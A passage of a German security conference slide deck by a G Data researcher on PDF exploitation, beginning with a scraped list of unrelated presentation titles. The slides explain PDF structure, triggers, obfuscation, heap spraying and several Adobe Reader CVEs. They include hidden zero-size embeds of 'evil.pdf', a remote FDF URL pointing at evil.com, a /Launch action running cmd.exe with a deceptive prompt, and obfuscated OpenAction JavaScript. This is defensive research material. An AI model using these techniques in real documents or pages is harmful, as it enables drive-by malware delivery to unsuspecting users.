PDF Exploitation G Data Software AG Karsten Tellmann,

Slides:



Advertisements
Ähnliche Präsentationen
Dynamische WEB-Applikationen
Advertisements

Agenda Sitzung 2 für den Programmaufbau
Forschungsdatenzentrum der Bundesagentur für Arbeit im Institut für Arbeitsmarkt- und Berufsforschung Two Issues on Remote Data Access.
Neue Mobilität Frank Prengel Developer Evangelist Developer Platform & Strategy Group Microsoft Deutschland GmbH
Intelligente Dateisysteme Einführende Bemerkungen Manfred Thaller, Universität zu Köln Köln 17. Oktober 2013.
Design by Contract with JML - Teil 2
Java: Grundlagen der Sprache
Internet Protokolle und Formate 1.1 HTTP 1.2 HTML 1.3 SGML 2. XML 3. WAP Matthias Thränhardt Sebastian Weber.
I/O Metaphern Präliminarien Manfred Thaller, Universität zu Köln Köln 21. Oktober 2008.
Benötigte Applets Startseite: in HTML-Format Applet auf der Startseite Das Applet, das auf der Startseite geladen wird, wird die vier Buttons und die eine.
Dynamische Webseiten Java servlets.
Objektorientierte Programmierung JDK-Klassenbibliothek
GvSig – Überblick Betriebssystem Linux, Windows, Mac OS X Lizenz GPL (Freie Software) Deutschsprachig Folgendes ist die Charakteristik der Software: In.
Seminar Web-Engineering Nina Aschenbrenner / Ruben Jubeh 1 FG Software Engineering Software Engineering Seminar Web Engineering Seminar des Fachgebiet.
Fachgebiet Software Engineering Übersicht © Albert Zündorf, Kassel University Baustein- vs. Funktionsorientierte Organisation.
Modulare Programmierung
DVG Verkettete Listen Verkettete Listen. DVG Verkettete Listen 2 Primitive Datentypen Vorteile: –werden direkt vom Prozessor unterstützt.
Einführung MySQL mit PHP
Hänchen & Partner GmbH 1 Web-Anwendungen mit dem Jakarta Struts Framework 3.Juli 2003 Martin Burkhardt.
WebCast: Managed Smart Tags mit VSTO Jens Häupel.NET Technologieberater Microsoft Deutschland GmbH
CTS2 based Terminology Server – Overview – Project eBPG
Welche Funktion hat die php.ini? -Beinhaltet wichtige Einstellungen für PHP. Genannt seien hier u.a. der Speicherort von Cookies, Parameter der Kompilierung,
©2010 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice 1 Stefan Schmid – Manager Central.
Einführung in das Programmieren mit JavaScript Mag. Andreas Starzer weloveIT – EDV Dienstleistungen.
Big-Data-Technology MongoDB Fabian Bielmeier, David Claybourne,
Silverlight Eine Einführung. Agenda 1.Was ist Silverlight? 2.Die Silverlight Philosophie 3.Vorstellung des Szenarios 4.Einführendes Beispiel 5.Konzepte.
Medien zwischen Technologie und Gesellschaft Dozent: Herr Prof. Dr. Manfred Thaller SS 13 Referent: Christian Braun.
VS one Veranstalter: VSone Feb. 08 Folie 1 Copyright by XML-Serialisierung zur Persistierung von Objekten Thomas Schissler
Google App Engine Microsoft Windows Azure
Ein kommando unter Windows 7
Metro-Style Apps mit Expression Blend 5 für HTML designen Christian Moser User Experience Designer Zühlke Engineering AG
ETS4 - Was ist neu? - Wie fange ich an? - Noch Fragen?
Automated Software Testing
Softwareentwicklung für WebOS
3rd Review, Vienna, 16th of April 1999 SIT-MOON ESPRIT Project Nr Siemens AG Österreich Robotiker Technische Universität Wien Politecnico di Milano.
PHP und MYSQL am Organisatorisches Der komplette Kurs im Schnelldurchgang Bewertung von wichtig und unwichtig Historisch Kulturwissenschaftliche.
© All rights reserved. Zend Technologies, Inc. Jan Burkl System Engineer, Zend Technologies Zend Server im Cluster.
ActionScript 3 (AS3) Workshop für Einsteiger. AS3 WorkshopGregor Sklorz Me Gregor Sklorz o Dipl. Ing. der Medieninformatik o Geb: o Stepstones:
The free XML Editor for Windows COOKTOP Semistrukturierte Daten 1 Vortrag Semistrukturierte Daten 1 COOKTOP The free XML-Editor for Windows
UNIVERSITÄT ZU KÖLN HISTORISCH-KULTURWISSENSCHAFTLICHE INFORMATIONSVERARBEITUNG REUSABLE - CONTENT SS 2013 MARIA WAGNER ReST.
Gameplay Systems I Softwaretechnologie II (Teil 2): Simulation und 3D Programmierung SS 2012 Prof. Dr. phil. Manfred Thaller Referent: Christian Weitz.
Übungsaufgabe, Permissions, ACLs
Your name Bedeutung von Internet- Technologien Gruppe 1 Andreas Feuerstein Philipp Hochratner Christian Weinzinger.
Developer Day Webseiten auf Windows Azure hosten Britta Labud bbv Software Services AG Roland Krummenacher bbv Software Services AG.
Developer Day Office APPs entwicklen Simon Amrein Trivadis AG Die ersten Schritte in eine neue Office-Welt.
Windows Azure Websites Roland Krummenacher Senior Software Engineer, bbv Software Services
Dominick Baier Security Consultant thinktecture. 2 Wir unterstützen Software-Entwickler und Architekten bei der Realisierung von.NET- und Web Services-Projekten.
3/28/2017 8:11 PM Visual Studio Tools für Office { Rapid Application Development für Office } Jens Häupel Platform Strategy Manager Microsoft Deutschland.
MVVM in Windows 8 und Windows Phone 8
PresenterCompanyContact Windows Azure ASP.NET Web-Anwendungen schnell und zuverlässig bereitstellen.
XML IV: Cocoon 2.
Linker & Loader in .NET August Steinbacher.
Equals, Hashcode und CompareTo Micha Kessler
SharePoint FIS HandsOn – out of the Box.
Einführung in das Wissenschaftliche Arbeiten Andreas Hechenblaickner Programmiersprache Eiffel
Staatsballett Berlin Ein Verbesserungskonzept für den Social- Media Auftritt Your picture here.
Oliver Spritzendorfer Thomas Fekete
© All rights reserved. Zend Technologies, Inc. Jenseits von var_dump(): Debugging in ZF Jan Burkl System Engineer.
REBOL III. Teil 1 – Nachtrag /View face/feel redraw [face action position] vor Neuzeichnen over [face action position] Mausbewegung engage [face action.
Einführung in PHP.
Einführung in PHP 5.
Webseiten mit PHP, SQL, XML und Webservices Anhand praktischer Beispiele.
Hacking InfoPoint Jörg Wüthrich Infopoint - Hacking - Jörg Wüthrich 2/26 Inhalte Rund um das Thema Hacking Angriffs-Techniken Session.
KIT – die Kooperation von Forschungszentrum Karlsruhe GmbH und Universität Karlsruhe (TH) Vorlesung Knowledge Discovery - Institut AIFB Tempus fugit Towards.
Launch ON Global.vi System ID object name classname Services to suscribe Observer Control Ref vi-path Service name Step 1 : Objects register to the Global.vi´s,
SQL Server 2005 CLR Integration Sebastian Weber Microsoft Deutschland GmbH
IT Security Cross Protocol Scripting & NAT Pinning Emanuel Klein.
Reality Check 1: Ein wenig Technik - Dateiformate Manfred Thaller Universität zu Köln Köln, Die Herausforderung der Elektronischen Archivierung 9. Januar.
Tutorium zur LV Forschungspraktikum II (Higher Education) Ein Computerprogramm tut, was Du schreibst, nicht was Du willst.
 Präsentation transkript:

PDF Exploitation G Data Software AG Karsten Tellmann, Herzlich Willkommen. Überblick G Data Software AG SecurityLabs Karsten Tellmann, Security Researcher PDF Exploitation

Gliederung PDF Überblick PDF im WWW PDF Struktur PDF Exploitation Beispiele

1. PDF Überblick

Portable Document Format - Fakten 1992: PDF v1.0 wird veröffentlicht 1993: PDF Spezifikation wird veröffentlicht 1993: Adobe Acrobat wird veröffentlicht 1999: JavaScript Interpreter kommt hinzu 2005: 3D Engine kommt hinzu 2007: Flash Support 2008: PDF wird zum Standard (ISO 32000-1:2008) Über 200.000.000 PDF Dokumente im WWW Über 1.800 Anbieter von PDF bezogenen Produkten/Dienstleistungen Quelle: http://www.adobe.com/pdf

Digitales eierlegendes Wollmilchdokumentenformat Ausgewählte Features Video Audio XML U3D Interaktive Formulare Dateianhänge Datenbanken (ADBC) Kodierung Verschlüsselung Digitale Singaturen JavaScript Flash Dateien ausführen (cmd.exe) Digitales eierlegendes Wollmilchdokumentenformat

Warum ist PDF so interessant für Malwareautore? Warum PDF? Warum ist PDF so interessant für Malwareautore? Weite Verbreitung (-> großes Zielpublikum) Enormer Funktionsumfang (-> Komplexität vs. Sicherheit) Veraltete Versionen (-> Alte Exploits) Browser Plug-ins (-> Drive-by-Downloads)

Common Vulnerabilities and Exposures (CVE) Suchbegriffe Adobe Reader PDF Adobe Reader + PDF Quelle: http://cve.mitre.org

2. PDF im WWW

Einbetten in einer Webseite Generell (FF 3.6.13, Opera 10.63, IE 8.0) <object data="evil.pdf" type="application/pdf" width="0" height="0" /> <iframe src="evil.pdf" frameborder="0" width="0" height="0" /> <embed src="evil.pdf" width="0" height="0" /> Internet Explorer <object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000" width="0" height="0"><param name="src" value="evil.pdf" /> </object>

Plugin Versionserkennung PluginDetect (Eric Gerds): http://pinlady.net/PluginDetect Konfigurierbares JavaScript zur Bestimmung von Browser Plugin Versionen Java, QuickTime, DevalVR, Shockwave, Flash, Windows Media Player, Silverlight, VLC Player, Adobe Reader, Generic PDF Reader

PluginDetect Beispiel <html><head><title>PDF Reader Plugin Detection</title> <script src="PluginDetector.js"></script> <script language="javascript" type="text/javascript"> function check_version(){ adobe = PluginDetect.getVersion("AdobeReader"); version = adobe.split(",").join("."); alert("Adobe Reader Version: "+version); } </script></head> <body onload="check_version()"> </body></html>

PluginDetect: Bleeding Life Bleeding Life Exploit Kit Version 2: ~400 $ Unterstützte PDF Exploits: CVE 2008-2992 (util.printf) CVE 2010-0188 (libtiff) CVE 2010-1297 (authplay.dll (AVM2)) CVE 2010-2884 (authplay.dll (AVM2)) Beispiel: bleedinglife.txt

Browser Kontext Das Sicherheits-Management des Adobe Reader ändert sich im Browser Kontext: Keine Warnmeldungen wenn das PDF mit Webseiten interagieren will (zB.: GoToR) Parameter können via GET an das Reader Plug-in übergeben werden: http://site.org/file.pdf#page=23 http://site.org.file.pdf#fdf=http://evil.com/modify.fdf Quelle: Malicious origami in PDF

3. PDF Struktur

Basis Datentypen Typ Wert Boolean true, false Numeric 42, +23, -13, 3.1415, -2,718 String (literal, oktal, hex) (foo), (/146/157/157), <666f6f> Name /varname Array [42, (/146/157/157), /Name, <666f6f>] Dictionary << /key1 (value) key2 <666f6f> >> Stream <<>>stream … endstream Null null

PDF Streams Einbetten von kodiertem Inhalt (zB.: .jpg, .png) Kodieren von beliebigem Inhalt (zB.: JavaScript) Filter können beliebig verkettet werden Liste von unterstützten Filtern: ASCII85Decode ASCIIHexDecode FlateDecode LZWDecode RunLengthDecode DCTDecode CCITTFaxDecode JBIG2Decode JPXDecode (U3D)

Objects Basis Datentypen werden in Objekten organisiert Objekte haben eine ID und können referenziert werden 1 0 obj << /Var (Text) >> endobj 1 0 obj << /Var 2 0 R >> Endobj 2 0 obj (Text) endobj Äquivalent

Physikalische Struktur Header: Version der PDF Spezifikation. Objekte: Beschreiben den Inhalt des Dokuments. Cross Reference Table: Gibt an , an welcher Byte-Position im Dokument welches Objekt steht und in welcher Version es vorliegt. Trailer: Anzahl der Objekte, spezifiziert das root Element, Position des letzten Cross Reference Table.

Physikalische Struktur Beispiel: Hello-World.pdf

Logische Struktur Parsing Schritte: Suche PDF Header innerhalb der ersten 1024 Bytes Suche Trailer und bestimme root Objekt und Cross Reference Table (xref) Bestimme Byte Position vom root Objekt mittels Eintrag im xref und parse Inhalt. Folge Referenzen Überblick Herzlich Willkommen.

Aktionen PDFs können Aktionen ausführen: Ausführen von JavaScript Senden von Formularen, Email Lokale OS Kommandos ausführen Externe Ressourcen ansprechen Abspielen von Musik und Videos …

Trigger Aktionen werden ausgelöst: Öffnen und schließen des Dokuments Öffnen und schließen einer Seite Betreten eines bestimmten Fläche in einer Seite Beim parsen eines Objektes …

Beispiel: Triggers.pdf Aktionen und Trigger Beispiel: Triggers.pdf

Hybrides Format: PDF/ZIP, PDF/GIF, PDF/HTML,… Reader Toleranz I Reader Software reagiert unterschiedlich auf Formatfehler. PDF Header Spezifikation: %PDF-<Versions Nr.> steht am Anfang der Datei Überblick Acrobat Reader X: %PDF- reicht aus Innerhalb der ersten 1024 Bytes Vor dem Catalog Objekt Hybrides Format: PDF/ZIP, PDF/GIF, PDF/HTML,…

Reader Toleranz II Reader Software reagiert unterschiedlich auf Formatfehler. PDF Spezifikation: %%EOF steht am Ende der Datei /Size /Length Überblick Acrobat Reader X: komplett egal

Reader Toleranz III Überblick Quelle: http://blog.didierstevens.com

Reader Toleranz Beispiel Überblick %PDF- trailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript /JS(app.alert({cMsg:'Stuff Goes Here'});)>>>>>> by Julia Wolf, FireEye Malware Intelligence Lab

PDF Obfuscation I Name Obfuscation /JavaScript Überblick Literal String Obfuscation /JS (app.alert(„Got Ya!“);) /JS (\141\160\160.\\ alert(„Go\164 Y\141!“);) Hexadecimal String Obfuscation /JS <6170702e616c6572742822476f742059612122293b> /JS <61 70 702e 616c 65 72 74 28 22 476f 74 2059612122293b>

PDF Obfuscation II Stream Objekte Alles kann Inhalt eines Stream Objekts sein Verketten von beliebig vielen Filtern: /Filter [/ASCIIHexDecode /FlateDecode /JBIG2Decode] Überblick Encryption (RC4, AES in CBC mode) Verschlüsselt nur Inhalt von String und Stream Objekten Bei leerem Owner Passwort, wird mit einem 32Byte Standardpasswort entschlüsselt (außer AES256). <28BF4E5E4E758A4164004E56FFFa0108 2E2E00B6D0683E802F0CA9FE6453697A> => Keine Benutzerinteraktion nötig!

PDF Obfuscation Beispiel Beispiel: CVE-2009-0658 Buffer overflow Schwachstelle in der Verarbeitung von JBIG2 streams. Anfällig waren Adobe Reader bis Version 9.0 Überblick Metasploit Beispiel: msf_jbig2decode.pdf

JavaScript: Anti Emulation Variablen aus PDF Objekten auslesen: getPageNthWord getLinks getIcon getPageNumWords getPageNthWordQuads documentFileName getAnnots this.info.<var> Überblick

4. PDF Exploitation

Vorüberlegungen Szenario (gezielt vs. massenhaft) Exploit(s) wählen (Plattform, Software, Version …) Schutzmaßnahmen (Obfuscation, Anti Emulation) Ziel des Angriffs (Shell, Backdoor, weiterer Schadcode) Überblick

Angriffsschritte Angriff auslösen (/OpenAction, /AA, /A, /Names) Speicher vorbereiten (HeapSpray,JITSpray) Schwachstelle ausnutzen (Exploit) Eigenen Programmcode ausführen (Shellcode) Überblick

Multiple Exploits Bestimmen der Plattform und der Version des Acrobat Reader, um eine auf das Zielsystem angepassten Exploit zu benutzen. Überblick Acrobat JavaScript Rückgabewert app.platform WIN, MAC, UNIX app.viewerVersion Reader Version (zB.: 10 oder 9.3.3)

JavaScript: Heapspray Überblick 64K (Nopsled+Shellcode) * 4096 (Blöcke) => 256MB Heap

Heapspray: Speicher Überblick

5. Beispiel Exploits

Schwachstellenkategorien Funktionsmissbrauch Acrobat JavaScript Methoden Stream Filter (JBIG2,TIFF) 3D Objekte (U3D) Font Parsing Modulen Eingebettete Flash Files

Funktionsmissbrauch: CVE-2010-1240 7 0 obj << /Type /Action /S /Launch /Win /F (cmd.exe) /P (/C echo @set LP="\(">s1.bat&&echo @set RP="\)">>s1.bat&&echo … To view the encrypted message in this PDF document, select 'Do not show this message again' and click the Open button!)>>>>endobj Embedded Datei cmd.exe speichern Ändere Text der MessageBox Benutzer führt Datei aus

/Action /Launch %PDF- trailer<</Root<</Pages<<>>/OpenAction 2 0 R>>>>>> 2 0 obj << /Type /Action /S /Launch /F << /DOS (D:\cmd.exe) /Unix (/usr/bin/xcalc) /Mac (/Applications/Calculator.app) >> >>endobj

JavaScript Methode: CVE-2007-5659

Stream Filter (JBIG2): CVE-2009-0658

Aufbau JBIG2 Stream Setze segment association size = 1 Page association size: 0 : Segment page association = 1 Byte 1 : Segment page association = 4 Byte Setze segment association size = 1 Wähle großen Wert für segment page association (0x00666666 * 5 * 4) Programmablauf zeigt auf den 1. Teil des Heap Spray und interpretiert den Wert als Pointer (0x341F2500) Pointer zeigt auf 2. Teil des Heap Sprays mit Nopsled + Shellcode und führt diesen aus

Anmerkungen CVE-2009-0658 Die Schwachstelle ist nicht Adobe Reader spezifisch, da der Fehler in der Parsing Bibliothek für JBIG2 Streams liegt. Die Schwachstelle kann ohne öffnen des PDF ausgelöst werden: Windows Indexing Service (Indiziert auch PDF Inhalte) Windows Column Handler (Ordner Vorschau, MetaInfo) Es wird jedoch kein JavaScript ausgeführt um den Speicher für den Angriff vorzubereiten.

U3D: CVE-2009-2990 Beispiel Java Script: U3D CLODProgressiveMesh-Continuation Split Position Index arbitrary dereference

U3D: CVE-2009-2990 Fehlende Validierung des Split Position Index Im Resolution Update des CLOD Progressive Mesh Continuation Block

Font Parsing: CVE-2010-2883

CVE-2010-2883 06.09. – Golf Clinic.pdf 07.09. – Zum ersten Mal bei VirusTotal.com (1/43) 08.09. – Adobe Advisory 08.09. – Initiales Metasploit-Modul 04.10. – Offizieller Adobe-Patch (Regulärer Patch-Zyklus: 12.10.)

Die Schwachstelle Stack based buffer overflow: CoolType.dll Feld in SING (Smart INdependent Glyphlets) Tabelle von TrueType Fonts uniqueName Spezifikation: (28 byte, 7-bit ASCII, Null Terminiert) Strcat(stack_buf, user_input) => Null Terminierung wird nicht überprüft

Übersicht des Angriffs

HeapSpray ROP Code Shellcode: calc.exe

SING Table Null-Terminierung von uniqueName fehlt! Bildquelle: Websense Security Labs

DEP & ASLR ROP-Code benutzt Instruktionen aus icucnv36.dll icucnv36.dll unterstützt kein ASLR DEP greift nicht weil Code aus ausführbarem Speicherbereich benutzt wird ROP-Code schreibt leere Datei iso88591 in das Verzeichnis vom PDF ROP-Code mapped die Datei in den Speicher: Reserviert 0x10000 Byte ausführbaren Speicherbereich ROP-Code kopiert Shellcode in den reservierten Speicherbereich und führt ihn aus.

Flash: CVE-2007-0071 Tag Handler: DefineSceneAndFrameLabelData Vergibt Labels für Szenen/Frames Tag Data:

Tag Handler (DefineSceneAndFrameLabelID) int32 scenecount = GetSceneCount(); if (scenecount>swf_upper_limit() || scenecount=0) { // error handling } else char *addressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) // never happens char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

Tag Handler (DefineSceneAndFrameLabelID) int32 scenecount = GetSceneCount(); if (scenecount>swf_upper_limit() || scenecount=0) { // error handling } else char *addressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) // never happens char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;} SceneCount wird signed interpretiert, obwohl unsigned definiert

Tag Handler (DefineSceneAndFrameLabelID) int32 scenecount = GetSceneCount(); if (scenecount>swf_upper_limit() || scenecount=0) { // error handling } else char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) // never happens char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;} Setze oberstes Bit: ® SceneCount wird negativ interpretiert großer SceneCount wird nie als Fehler erkannt

Tag Handler (DefineSceneAndFrameLabelID) int32 scenecount = GetSceneCount(); if (scenecount>swf_upper_limit() || scenecount=0) { // error handling } else char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) // never happens char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;} alloc_mem returned NULL pointer

Tag Handler (DefineSceneAndFrameLabelID) int32 scenecount = GetSceneCount(); if (scenecount>swf_upper_limit() || scenecount=0) { // error handling } else char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) // never happens char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;} void* alloc_mem(uint32 num_blocks, uint32 blocksize) { if ((uint64)num_blocks*(uint64)blocksize > 0xFFFFFFFF) return NULL; // integer overflow else // malloc routine }}

Tag Handler (DefineSceneAndFrameLabelID) int32 scenecount = GetSceneCount(); if (scenecount>swf_upper_limit() || scenecount=0) { // error handling } else char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) // never happens char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;} Keine Prüfung auf NULL pointer

Tag Handler (DefineSceneAndFrameLabelID) int32 scenecount = GetSceneCount(); if (scenecount>swf_upper_limit() || scenecount=0) { // error handling } else char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) // never happens char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;} for-schleife wird nicht durchlaufen (i=SceneCount < 0)

Tag Handler (DefineSceneAndFrameLabelID) int32 scenecount = GetSceneCount(); if (scenecount>swf_upper_limit() || scenecount=0) { // error handling } else char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) // never happens char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;} Angreifer kann Adressen umschreiben

Free Tools PDF Tools (Didier Stevens) http://blog.didierstevens.com/programs/pdf-tools/ Origami Framework (Sogeti ESEC Lab) http://esec-lab.sogeti.com/dotclear/index.php?pages/Origami Opaflib (Felipe Andres Manzano) http://feliam.wordpress.com Pdfxray (Offensive Computing) http://www.offensivecomputing.net/?q=node/1681 PDF Stream Dumper http://sandsprite.com/blogs/index.php?uid=7&pid=57

Vorträge/Webseiten PDF Syntax Abuse (Julia Wolf) http://www.sec-t.org/2010/Agenda.html How to really obfuscate your PDF Malware (Sebastian Porst) http://storage.zynamics.com/files/blog/pdf_malware.pdf Malicious origami in PDF (Raynal, Delugre, Aumaitre) http://www.security-labs.org/fred/ WEPAWET (UCSB,Webservice) http://wepawet.cs.ucsb.edu/ JSUNPACK (Webservice) http://jsunpack.jeek.org/dec/go Contagio Dump (Mila Parkour, ITW Samples) http://contagiodump.blogspot.com/

Herzlich Willkommen. Überblick Vielen Dank Fragen? 66